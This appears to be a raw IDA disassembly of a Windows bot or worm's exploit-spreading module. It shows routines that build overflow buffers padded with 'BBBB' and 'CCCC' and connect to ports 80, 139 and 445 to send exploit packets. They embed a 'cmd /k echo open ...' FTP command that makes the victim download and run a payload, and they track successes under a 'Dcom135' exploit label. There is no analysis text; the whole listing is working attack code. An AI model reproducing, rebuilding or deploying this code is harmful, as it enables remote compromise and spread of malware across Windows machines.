		push	[esp+4+arg_0]
		call	sub_415B10
		pop	ecx
		push	eax
		mov	ecx, esi
		push	[esp+8+arg_0]
		call	sub_404029
		pop	esi
		retn	4
sub_40405D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40407A	proc near		; CODE XREF: sub_4040C6+Bp
					; sub_4040E5+1A1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_404029
		retn	8
sub_40407A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40408A	proc near		; CODE XREF: sub_4040C6+16p
					; sub_4040E5+91p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		call	sub_403F2B
		test	al, al
		jz	short loc_4040C3
		push	dword ptr [esi+4]
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi]
		push	1
		push	(offset	loc_426447+1)
		call	sub_403EBD
		mov	ecx, esi
		call	sub_403F12
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1


loc_4040C3:				; CODE XREF: sub_40408A+Fj
		pop	esi
		leave
		retn
sub_40408A	endp


; =============== S U B	R O U T	I N E =======================================



sub_4040C6	proc near		; CODE XREF: sub_4040E5+134p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_40407A
		test	al, al
		jz	short loc_4040E1
		mov	ecx, esi
		call	sub_40408A


loc_4040E1:				; CODE XREF: sub_4040C6+12j
		pop	esi
		retn	8
sub_4040C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4040E5	proc near		; CODE XREF: .text:0040495Cp

var_858		= byte ptr -858h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 858h
		push	ebx
		push	edi
		lea	ecx, [ebp+var_48]
		call	sub_403E79
		mov	edi, 408h
		cmp	[ebp+arg_8], edi
		jg	loc_404429
		mov	ebx, [ebp+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, edi
		ja	loc_404429
		push	esi
		lea	ecx, [ebp+var_30]
		call	sub_403E79
		lea	ecx, [ebp+var_20]
		call	sub_403E79
		lea	ecx, [ebp+var_50]
		call	sub_403E79
		lea	ecx, [ebp+var_18]
		call	sub_403E79
		lea	ecx, [ebp+var_40]
		call	sub_403E79
		lea	ecx, [ebp+var_38]
		call	sub_403E79
		lea	ecx, [ebp+var_28]
		call	sub_403E79
		push	4
		push	offset dword_4260DC
		lea	ecx, [ebp+var_30]
		call	sub_404029
		push	3
		push	offset dword_4260E4
		lea	ecx, [ebp+var_30]
		call	sub_404029
		lea	ecx, [ebp+var_30]
		call	sub_403FAF
		lea	ecx, [ebp+var_30]
		call	sub_40408A
		mov	esi, 800h
		lea	eax, [ebp+var_858]
		push	esi
		push	42h
		push	eax
		call	sub_415390
		add	esp, 0Ch
		lea	ecx, [ebp+var_20]
		push	8
		push	offset aRbrbrbrb ; "BBBB"
		call	sub_404029
		push	ebx
		lea	ecx, [ebp+var_20]
		push	[ebp+arg_C]
		call	sub_404029
		mov	eax, 409h
		lea	ecx, [ebp+var_20]
		sub	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_404029
		lea	ecx, [ebp+var_20]
		call	sub_403FAF
		push	offset loc_426470
		lea	ecx, [ebp+var_50]
		call	sub_40405D
		lea	ecx, [ebp+var_50]
		call	sub_403FAF
		push	esi
		lea	eax, [ebp+var_858]
		push	44h
		push	eax
		call	sub_415390
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_58]
		push	410h
		push	eax
		call	sub_403E83
		lea	ecx, [ebp+var_58]
		call	sub_403FAF
		push	[ebp+var_54]
		lea	ecx, [ebp+var_50]
		push	[ebp+var_58]
		call	sub_4040C6
		lea	ecx, [ebp+var_58]
		call	sub_403F12
		push	esi
		lea	eax, [ebp+var_858]
		push	43h
		push	eax
		call	sub_415390
		add	esp, 0Ch
		push	offset aCccc	; "CCCC"
		lea	ecx, [ebp+var_18]
		call	sub_40405D
		push	4
		push	offset dword_4260E8
		lea	ecx, [ebp+var_18]
		call	sub_404029
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_18]
		push	[ebp+arg_4]
		call	sub_404029
		sub	edi, [ebp+arg_8]
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_18]
		push	edi
		push	eax
		call	sub_404029
		lea	ecx, [ebp+var_18]
		call	sub_403FAF
		push	[ebp+var_14]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_18]
		call	sub_40407A
		push	[ebp+var_4C]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_50]
		call	sub_40407A
		lea	ecx, [ebp+var_40]
		call	sub_40408A
		lea	ecx, [ebp+var_18]
		call	sub_403F12
		lea	ecx, [ebp+var_50]
		call	sub_403F12
		push	[ebp+var_1C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_20]
		call	sub_40407A
		push	[ebp+var_2C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_30]
		call	sub_40407A
		push	[ebp+var_3C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_40]
		call	sub_40407A
		lea	ecx, [ebp+var_38]
		call	sub_40408A
		lea	ecx, [ebp+var_20]
		call	sub_403F12
		lea	ecx, [ebp+var_30]
		call	sub_403F12
		lea	ecx, [ebp+var_40]
		call	sub_403F12
		push	esi
		lea	eax, [ebp+var_858]
		push	41h
		push	eax
		call	sub_415390
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_28]
		push	400h
		push	eax
		call	sub_404029
		lea	ecx, [ebp+var_28]
		call	sub_403FAF
		push	2
		push	offset dword_426464
		lea	ecx, [ebp+var_28]
		call	sub_404029
		push	[ebp+var_34]
		lea	ecx, [ebp+var_28]
		push	[ebp+var_38]
		call	sub_40407A
		lea	ecx, [ebp+var_28]
		call	sub_40408A
		lea	ecx, [ebp+var_38]
		call	sub_403F12
		lea	ecx, [ebp+var_10]
		call	sub_403E79
		lea	ecx, [ebp+var_8]
		call	sub_403E79
		push	[ebp+var_24]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_28]
		call	sub_40407A
		lea	ecx, [ebp+var_10]
		call	sub_403F2B
		lea	ecx, [ebp+var_28]
		call	sub_403F12
		push	offset dword_426460
		lea	ecx, [ebp+var_8]
		call	sub_40405D
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40407A
		lea	ecx, [ebp+var_8]
		call	sub_403F2B
		lea	ecx, [ebp+var_10]
		call	sub_403F12
		push	offset dword_42645C
		lea	ecx, [ebp+var_10]
		call	sub_40405D
		push	[ebp+var_4]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_8]
		call	sub_40407A
		lea	ecx, [ebp+var_10]
		call	sub_403F2B
		lea	ecx, [ebp+var_8]
		call	sub_403F12
		push	offset dword_426450
		lea	ecx, [ebp+var_8]
		call	sub_40405D
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40407A
		lea	ecx, [ebp+var_8]
		call	sub_403F2B
		lea	ecx, [ebp+var_10]
		call	sub_403F12
		push	offset dword_42644C
		lea	ecx, [ebp+var_48]
		call	sub_40405D
		push	[ebp+var_4]
		lea	ecx, [ebp+var_48]
		push	[ebp+var_8]
		call	sub_40407A
		lea	ecx, [ebp+var_8]
		call	sub_403F12
		pop	esi


loc_404429:				; CODE XREF: sub_4040E5+1Bj
					; sub_4040E5+29j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		pop	edi
		pop	ebx
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx
		leave
		retn
sub_4040E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40443B	proc near		; CODE XREF: sub_4044FF+A2p
					; sub_4044FF+C7p ...

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	esi
		mov	esi, [ebp+arg_0]
		lea	eax, [ebp+var_8]
		push	edi
		push	eax
		lea	eax, [ebp+var_210]
		and	[ebp+var_4], 0
		push	eax
		lea	eax, [ebp+var_10C]
		push	0
		xor	edi, edi
		push	eax
		lea	eax, [esi+1]
		inc	edi
		push	eax
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		mov	[ebp+var_20C], esi
		mov	[ebp+var_210], edi
		mov	[ebp+var_8], 0Ah
		call	dword_4211D4	; select
		cmp	eax, edi
		jnz	short loc_4044A2
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_420A06	; __WSAFDIsSet
		test	eax, eax
		jnz	short loc_4044A6


loc_4044A2:				; CODE XREF: sub_40443B+54j
		xor	eax, eax
		jmp	short loc_4044B6
; ---------------------------------------------------------------------------


loc_4044A6:				; CODE XREF: sub_40443B+65j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	dword_43CA3C	; recv


loc_4044B6:				; CODE XREF: sub_40443B+69j
		pop	edi
		pop	esi
		leave
		retn
sub_40443B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4044BA	proc near		; CODE XREF: sub_4044FF+80p
					; sub_4044FF+AEp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		call	dword_43CA20	; ntohl
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_4]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_43CA74	; send
		cmp	eax, 4
		jz	short loc_4044E4
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_4044E4:				; CODE XREF: sub_4044BA+24j
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_43CA74	; send
		sub	eax, [ebp+arg_8]
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn
sub_4044BA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4044FF	proc near		; CODE XREF: sub_4045DE+48p
					; .text:00404A4Dp

var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	ebx, [edi+41h]
		push	ebx
		mov	[ebp+var_4], ebx
		call	sub_415BE9
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_404528
		xor	al, al
		jmp	loc_4045D9
; ---------------------------------------------------------------------------


loc_404528:				; CODE XREF: sub_4044FF+20j
		push	ebx
		push	0
		push	esi
		call	sub_415390
		push	2Fh
		push	offset dword_426178
		push	esi
		call	sub_4153F0
		push	8
		lea	eax, [esi+31h]
		push	offset dword_4261A8
		push	eax
		mov	[esi+2Fh], di
		call	sub_4153F0
		push	edi
		lea	ebx, [esi+3Bh]
		push	[ebp+arg_4]
		mov	[esi+39h], di
		push	ebx
		call	sub_4153F0
		push	6
		add	ebx, edi
		push	offset dword_43B660
		push	ebx
		call	sub_4153F0
		push	85h
		push	offset dword_4260F0
		push	[ebp+arg_0]
		call	sub_4044BA
		add	esp, 48h
		test	al, al
		jnz	short loc_40458F


loc_40458B:				; CODE XREF: sub_4044FF+B8j
		xor	bl, bl
		jmp	short loc_4045D0
; ---------------------------------------------------------------------------


loc_40458F:				; CODE XREF: sub_4044FF+8Aj
		mov	edi, 100h
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	sub_40443B
		push	[ebp+var_4]
		push	esi
		push	[ebp+arg_0]
		call	sub_4044BA
		add	esp, 1Ch
		test	al, al
		jz	short loc_40458B
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	sub_40443B
		add	esp, 10h
		mov	bl, 1


loc_4045D0:				; CODE XREF: sub_4044FF+8Ej
		push	esi
		call	sub_415C9B
		pop	ecx
		mov	al, bl


loc_4045D9:				; CODE XREF: sub_4044FF+24j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4044FF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4045DE	proc near		; CODE XREF: .text:00404A33p

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	0
		push	48h
		push	offset unk_4261B8
		push	[ebp+arg_0]
		call	dword_4211F0	; send
		cmp	eax, 48h
		jnz	short loc_404619
		push	0
		lea	eax, [ebp+var_20]
		push	20h
		push	eax
		push	[ebp+arg_0]
		call	sub_40443B
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_404619
		cmp	[ebp+var_20], 82h
		jz	short loc_40461D


loc_404619:				; CODE XREF: sub_4045DE+1Bj
					; sub_4045DE+33j
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_40461D:				; CODE XREF: sub_4045DE+39j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4044FF
		add	esp, 0Ch
		leave
		retn
sub_4045DE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404630	proc near		; CODE XREF: sub_40467C+2Dp

var_10		= qword	ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		and	dword ptr [ebp+var_8+4], 0
		shl	eax, 3
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		fmul	dbl_421248
		call	sub_415E24
		and	dword ptr [ebp+var_8+4], 0
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		push	ecx
		push	ecx		; double
		fst	[ebp+var_8]
		fmul	dbl_421240
		fstp	[esp+10h+var_10]
		call	sub_415D04
		fadd	st, st
		pop	ecx
		pop	ecx
		fadd	[ebp+var_8]
		call	sub_415E24
		inc	eax
		leave
		retn
sub_404630	endp


; =============== S U B	R O U T	I N E =======================================



sub_40467C	proc near		; CODE XREF: sub_40481B+24p

var_40		= qword	ptr -40h

		mov	eax, offset loc_420B63
		call	sub_4162F0
		sub	esp, 2Ch
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		mov	[ebp-20h], edi
		mov	al, [ebp+13h]
		push	edi
		lea	ecx, [ebp-38h]
		mov	[ebp-38h], al
		call	sub_404CE4
		push	dword ptr [ebp+10h]
		xor	ebx, ebx
		inc	ebx
		mov	[ebp-4], ebx
		call	sub_404630
		cmp	[ebp-2Ch], eax
		pop	ecx
		jnb	short loc_4046BE
		push	edi
		push	eax
		lea	ecx, [ebp-38h]
		call	sub_404C5E


loc_4046BE:				; CODE XREF: sub_40467C+36j
		cmp	[ebp+10h], edi
		mov	[ebp-18h], edi
		jbe	loc_4047DC
		mov	ebx, [ebp+10h]


loc_4046CD:				; CODE XREF: sub_40467C+157j
		cmp	dword ptr [ebp+10h], 3
		jb	short loc_4046D8
		push	3


loc_4046D5:				; CODE XREF: sub_40467C+64j
		pop	ebx
		jmp	short loc_4046EB
; ---------------------------------------------------------------------------


loc_4046D8:				; CODE XREF: sub_40467C+55j
		cmp	dword ptr [ebp+10h], 2
		jnz	short loc_4046E2
		push	2
		jmp	short loc_4046D5
; ---------------------------------------------------------------------------


loc_4046E2:				; CODE XREF: sub_40467C+60j
		cmp	dword ptr [ebp+10h], 1
		jnz	short loc_4046EB
		xor	ebx, ebx
		inc	ebx


loc_4046EB:				; CODE XREF: sub_40467C+5Aj
					; sub_40467C+6Aj
		mov	[ebp-28h], ebx
		mov	[ebp-24h], edi
		fild	qword ptr [ebp-28h]
		push	ecx
		push	ecx		; double
		fmul	dbl_421250
		fstp	[esp+40h+var_40]
		call	sub_415E4B
		pop	ecx
		pop	ecx
		call	sub_415E24
		cmp	ebx, edi
		mov	[ebp-1Ch], eax
		jbe	short loc_40472A
		mov	esi, [ebp+0Ch]
		mov	ecx, ebx
		mov	edx, ecx
		lea	edi, [ebp-10h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		xor	edi, edi


loc_40472A:				; CODE XREF: sub_40467C+94j
		mov	cl, [ebp-10h]
		mov	dl, [ebp-10h]
		sar	cl, 2
		and	cl, 3Fh
		and	dl, 3
		mov	[ebp-14h], cl
		mov	cl, [ebp-0Fh]
		sar	cl, 4
		and	cl, 0Fh
		add	[ebp+0Ch], ebx
		shl	dl, 4
		add	cl, dl
		mov	dl, [ebp-0Fh]
		mov	[ebp-13h], cl
		mov	cl, [ebp-0Eh]
		sar	cl, 6
		and	dl, 0Fh
		sub	[ebp+10h], ebx
		and	cl, 3
		xor	esi, esi
		shl	dl, 2
		add	cl, dl
		mov	[ebp-12h], cl
		mov	cl, [ebp-0Eh]
		and	cl, 3Fh
		cmp	eax, edi
		mov	[ebp-11h], cl
		jbe	short loc_404798
		add	[ebp-18h], eax


loc_40477C:				; CODE XREF: sub_40467C+11Aj
		movsx	eax, byte ptr [ebp+esi-14h]
		lea	ecx, [ebp-38h]
		mov	al, byte_426208[eax]
		push	eax
		push	1
		call	sub_404ADF
		inc	esi
		cmp	esi, [ebp-1Ch]
		jb	short loc_40477C


loc_404798:				; CODE XREF: sub_40467C+FBj
		cmp	dword ptr [ebp-18h], 48h
		jb	short loc_4047B6
		push	dword ptr [ebp+14h]
		call	sub_415B10
		pop	ecx
		push	eax
		lea	ecx, [ebp-38h]
		push	dword ptr [ebp+14h]
		call	sub_404B39
		mov	[ebp-18h], edi


loc_4047B6:				; CODE XREF: sub_40467C+120j
		push	4
		pop	esi
		cmp	[ebp-1Ch], esi
		jnb	short loc_4047D0
		sub	esi, [ebp-1Ch]


loc_4047C1:				; CODE XREF: sub_40467C+152j
		push	3Dh
		push	1
		lea	ecx, [ebp-38h]
		call	sub_404ADF
		dec	esi
		jnz	short loc_4047C1


loc_4047D0:				; CODE XREF: sub_40467C+140j
		cmp	[ebp+10h], edi
		ja	loc_4046CD
		xor	ebx, ebx
		inc	ebx


loc_4047DC:				; CODE XREF: sub_40467C+48j
		mov	esi, [ebp+8]
		mov	al, [ebp-38h]
		push	edi
		mov	ecx, esi
		mov	[esi], al
		call	sub_404CE4
		push	0FFFFFFFFh
		lea	eax, [ebp-38h]
		push	edi
		push	eax
		mov	ecx, esi
		call	sub_404B91
		mov	[ebp-20h], ebx
		and	byte ptr [ebp-4], 0
		push	ebx
		lea	ecx, [ebp-38h]
		call	sub_404CE4
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40467C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40481B	proc near		; CODE XREF: .text:00404A16p
		mov	eax, offset loc_420B80
		call	sub_4162F0
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	offset byte_43B658
		lea	eax, [ebp-1Ch]
		push	dword ptr [ebp+10h]
		xor	ebx, ebx
		mov	[ebp-4], ebx
		push	dword ptr [ebp+0Ch]
		push	eax
		call	sub_40467C
		mov	eax, [ebp+1Ch]
		mov	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 1
		lea	esi, [ecx+eax+36h]
		push	esi
		call	sub_415BE9
		mov	edi, eax
		add	esp, 14h
		cmp	edi, ebx
		jnz	short loc_404865
		xor	bl, bl
		jmp	short loc_4048A9
; ---------------------------------------------------------------------------


loc_404865:				; CODE XREF: sub_40481B+44j
		mov	ecx, [ebp-18h]
		mov	eax, offset dword_421258
		cmp	ecx, ebx
		jnz	short loc_404873
		mov	ecx, eax


loc_404873:				; CODE XREF: sub_40481B+54j
		cmp	[ebp+18h], ebx
		jz	short loc_40487B
		mov	eax, [ebp+18h]


loc_40487B:				; CODE XREF: sub_40481B+5Bj
		push	ecx
		push	eax
		push	offset aGetHttp1_0Host ; "GET /	HTTP/1.0\r\nHost: %s\r\nAuthorization"...
		push	esi
		push	edi
		call	sub_41588A
		add	esp, 14h
		push	ebx
		push	esi
		push	edi
		push	dword ptr [ebp+8]
		call	dword_43CA74	; send
		cmp	eax, esi
		jz	short loc_4048A0
		xor	bl, bl
		jmp	short loc_4048A2
; ---------------------------------------------------------------------------


loc_4048A0:				; CODE XREF: sub_40481B+7Fj
		mov	bl, 1


loc_4048A2:				; CODE XREF: sub_40481B+83j
		push	edi
		call	sub_415C9B
		pop	ecx


loc_4048A9:				; CODE XREF: sub_40481B+48j
		and	byte ptr [ebp-4], 0
		push	1
		lea	ecx, [ebp-1Ch]
		call	sub_404CE4
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	1
		lea	ecx, [ebp+14h]
		call	sub_404CE4
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40481B	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 620h
		and	byte ptr [ebp-420h], 0
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp-41Fh]
		push	8Fh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp-420h]
		push	offset sub_4263B8
		push	eax
		call	sub_4153F0
		add	esp, 0Ch
		mov	eax, offset byte_42C2B4
		push	eax
		push	eax
		push	dword_43B670
		push	dword ptr [ebp+8]
		call	sub_40A08A
		pop	ecx
		push	eax
		push	offset aCmdKEchoOpenSD ; "cmd /k echo open %s %d > o&echo user 1 "...
		lea	eax, [ebp-391h]
		push	400h
		push	eax
		call	sub_41588A
		add	eax, 90h
		push	eax
		lea	eax, [ebp-420h]
		push	eax
		push	164h
		lea	eax, [ebp-8]
		push	offset sub_426250
		push	eax
		call	sub_4040E5
		xor	esi, esi
		add	esp, 30h
		cmp	[ebp-4], esi
		jnz	short loc_404972
		xor	eax, eax
		jmp	loc_404AD2
; ---------------------------------------------------------------------------


loc_404972:				; CODE XREF: .text:00404969j
		mov	[ebp-0Ch], esi


loc_404975:				; CODE XREF: .text:00404A75j
		test	esi, esi
		jnz	loc_404A7B
		push	6
		push	1
		push	2
		call	dword_4211E4	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_404A63
		xor	eax, eax
		lea	edi, [ebp-1Ah]
		stosd
		push	dword ptr [ebp+0A8h]
		stosd
		stosd
		stosw
		mov	word ptr [ebp-1Ch], 2
		call	dword_43CA24	; ntohs
		mov	[ebp-1Ah], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_43CA64	; inet_addr
		mov	[ebp-18h], eax
		lea	eax, [ebp-1Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_43C9CC	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_404A58
		cmp	dword ptr [ebp+0A8h], 50h
		jnz	short loc_404A20
		mov	al, [ebp+0C3h]
		sub	esp, 10h
		mov	esi, esp
		mov	[ebp-20h], esp
		push	0
		mov	ecx, esi
		mov	[esi], al
		call	sub_404CE4
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_415B10
		pop	ecx
		push	eax
		lea	eax, [ebp+0Ch]
		push	eax
		mov	ecx, esi
		call	sub_404D1C
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40481B
		add	esp, 1Ch
		jmp	short loc_404A55
; ---------------------------------------------------------------------------


loc_404A20:				; CODE XREF: .text:004049DEj
		cmp	dword ptr [ebp+0A8h], 8Bh
		jnz	short loc_404A3A
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_4045DE
		jmp	short loc_404A52
; ---------------------------------------------------------------------------


loc_404A3A:				; CODE XREF: .text:00404A2Aj
		cmp	dword ptr [ebp+0A8h], 1BDh
		jnz	short loc_404A58
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_4044FF


loc_404A52:				; CODE XREF: .text:00404A38j
		add	esp, 0Ch


loc_404A55:				; CODE XREF: .text:00404A1Ej
		movzx	esi, al


loc_404A58:				; CODE XREF: .text:004049D1j
					; .text:00404A44j
		push	ebx
		call	dword_43CABC	; closesocket
		test	esi, esi
		jnz	short loc_404A6E


loc_404A63:				; CODE XREF: .text:0040498Ej
		push	3E8h
		call	dword_421060	; Sleep


loc_404A6E:				; CODE XREF: .text:00404A61j
		inc	dword ptr [ebp-0Ch]
		cmp	dword ptr [ebp-0Ch], 2
		jl	loc_404975


loc_404A7B:				; CODE XREF: .text:00404977j
		lea	ecx, [ebp-8]
		call	sub_403F12
		test	esi, esi
		jz	short loc_404AD0
		lea	eax, [ebp+0Ch]
		push	eax
		mov	eax, [ebp+0B0h]
		imul	eax, 3Ch
		add	eax, offset aDcom135 ; "Dcom135"
		push	eax
		push	offset dword_42647C
		lea	eax, [ebp-620h]
		push	200h
		push	eax
		call	sub_41588A
		lea	eax, [ebp-620h]
		push	eax
		call	sub_40B078
		mov	eax, [ebp+0B0h]
		add	esp, 18h
		imul	eax, 3Ch
		lea	eax, dword_427390[eax]
		inc	dword ptr [eax]


loc_404AD0:				; CODE XREF: .text:00404A85j
		mov	eax, esi


loc_404AD2:				; CODE XREF: .text:0040496Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_420B44


loc_404AD7:				; CODE XREF: sub_420B44+3j
					; .text:00420B5Dj ...
		push	1
		call	sub_404CE4
		retn
; END OF FUNCTION CHUNK	FOR sub_420B44

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404ADF	proc near		; CODE XREF: sub_40467C+111p
					; sub_40467C+14Cp

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, ecx
		or	eax, 0FFFFFFFFh
		push	edi
		sub	eax, [esi+8]
		cmp	eax, [ebp+arg_0]
		ja	short loc_404AF6
		call	sub_4206B0


loc_404AF6:				; CODE XREF: sub_404ADF+10j
		cmp	[ebp+arg_0], 0
		jbe	short loc_404B31
		mov	edi, [esi+8]
		push	0
		add	edi, [ebp+arg_0]
		mov	ecx, esi
		push	edi
		call	sub_404C5E
		test	al, al
		jz	short loc_404B31
		movsx	eax, [ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		mov	eax, [esi+4]
		add	eax, [esi+8]
		push	eax
		call	sub_415390
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0


loc_404B31:				; CODE XREF: sub_404ADF+1Bj
					; sub_404ADF+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn	8
sub_404ADF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404B39	proc near		; CODE XREF: sub_40467C+132p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, ecx
		or	eax, 0FFFFFFFFh
		push	edi
		sub	eax, [esi+8]
		cmp	eax, [ebp+arg_4]
		ja	short loc_404B50
		call	sub_4206B0


loc_404B50:				; CODE XREF: sub_404B39+10j
		cmp	[ebp+arg_4], 0
		jbe	short loc_404B89
		mov	edi, [esi+8]
		push	0
		add	edi, [ebp+arg_4]
		mov	ecx, esi
		push	edi
		call	sub_404C5E
		test	al, al
		jz	short loc_404B89
		push	[ebp+arg_4]
		mov	eax, [esi+8]
		add	eax, [esi+4]
		push	[ebp+arg_0]
		push	eax
		call	sub_4153F0
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0


loc_404B89:				; CODE XREF: sub_404B39+1Bj
					; sub_404B39+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn	8
sub_404B39	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404B91	proc near		; CODE XREF: sub_40467C+179p
					; sub_42070A+46p ...

arg_0		= dword	ptr  8
